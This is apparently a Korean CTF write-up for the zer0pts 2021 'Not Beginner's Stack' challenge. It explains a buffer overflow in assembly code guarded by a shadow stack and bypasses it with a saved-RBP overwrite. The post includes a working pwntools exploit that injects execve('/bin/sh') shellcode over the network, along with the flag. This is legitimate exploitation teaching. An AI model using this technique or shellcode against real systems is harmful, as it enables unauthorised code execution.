CTF(Capture The Flag)/zeroptf 2021

Not Beginner's Stack

cyanhe_wh 2021. 3. 12. 13:24
반응형

파일 정보

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), 
        statically linked, not stripped

$ pwn checksec chall
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

코드

global _start
section .text

%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
  mov ecx, [__stack_depth]
  mov qword [__stack_shadow + rcx * 8], %%return_address
  inc dword [__stack_depth]
;; goto function
  jmp %1
  %%return_address:
%endmacro

%macro ret 0
;; goto __stack_shadow[--__stack_depth];
  dec dword [__stack_depth]
  mov ecx, [__stack_depth]
  jmp qword [__stack_shadow + rcx * 8]
%endmacro

_start:
  call notvuln
  call exit

notvuln:
;; char buf[0x100];
  enter 0x100, 0
;; vuln();
  call vuln
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x100);
  mov edx, 0x100
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return 0;
  xor eax, eax
  ret

vuln:
;; char buf[0x100];
  enter 0x100, 0
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x1000);
  mov edx, 0x1000               ; [!] vulnerability
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return;
  leave
  ret

read:
  xor eax, eax
  syscall
  ret

write:
  xor eax, eax
  inc eax
  syscall
  ret

exit:
  mov eax, 60
  syscall
  hlt

section .data
msg_data:
  db "Data: "
__stack_depth:
  dd 0

section .bss
__stack_shadow:
  resb 1024

풀이

vuln:
;; char buf[0x100];
  enter 0x100, 0
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x1000);
  mov edx, 0x1000               ; [!] vulnerability
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return;
  leave
  ret

vuln 함수에서 read를 할때 buf는 0x100이지만, 0x1000을 입력을 받으므로 overflow 취약점이 존재한다.

%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
  mov ecx, [__stack_depth]
  mov qword [__stack_shadow + rcx * 8], %%return_address
  inc dword [__stack_depth]
;; goto function
  jmp %1
  %%return_address:
%endmacro

%macro ret 0
;; goto __stack_shadow[--__stack_depth];
  dec dword [__stack_depth]
  mov ecx, [__stack_depth]
  jmp qword [__stack_shadow + rcx * 8]
%endmacro

리턴 주소를 bss에 저장이 되어있어 리턴 주소를 overwrite을 할 수 없다.

notvuln:
;; char buf[0x100];
  enter 0x100, 0
;; vuln();
  call vuln
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x100);
  mov edx, 0x100
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return 0;
  xor eax, eax
  ret

재미있는 부분은 overwrite을 하면 rbp를 조작할 수 있다.

그러면 notvuln 함수에서 read를 할 때 rbp-0x100 영역에 읽는다.

만약 rbp를 조작하여 bss영역으로 만든다면 return address를 조작할 수 있다.

Exploit

from pwn import *

context.arch = 'amd64'

# p = process('./chall')
p = remote('pwn.ctf.zer0pts.com', 9011)

print(p.recvuntil('Data: '))
payload = b'A' * 0x100
payload += p64(0x600334)
p.send(payload)

print(p.recvuntil('Data: '))
payload = p64(0x600254)
payload += p64(0x0000000000400165)
payload += p64(0x00000000004001d4)
payload += b'\x90' * 8
payload += asm(shellcraft.execve("/bin/sh",0,0))
p.send(payload)

p.interactive()

 

Flag

zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}

반응형

'CTF(Capture The Flag) > zeroptf 2021' 카테고리의 다른 글

safe_vector  (0) 2021.04.07
baby sqli  (0) 2021.03.12
GuestFS:AFR  (0) 2021.03.12
OneShot  (0) 2021.03.12
stopwatch  (0) 2021.03.12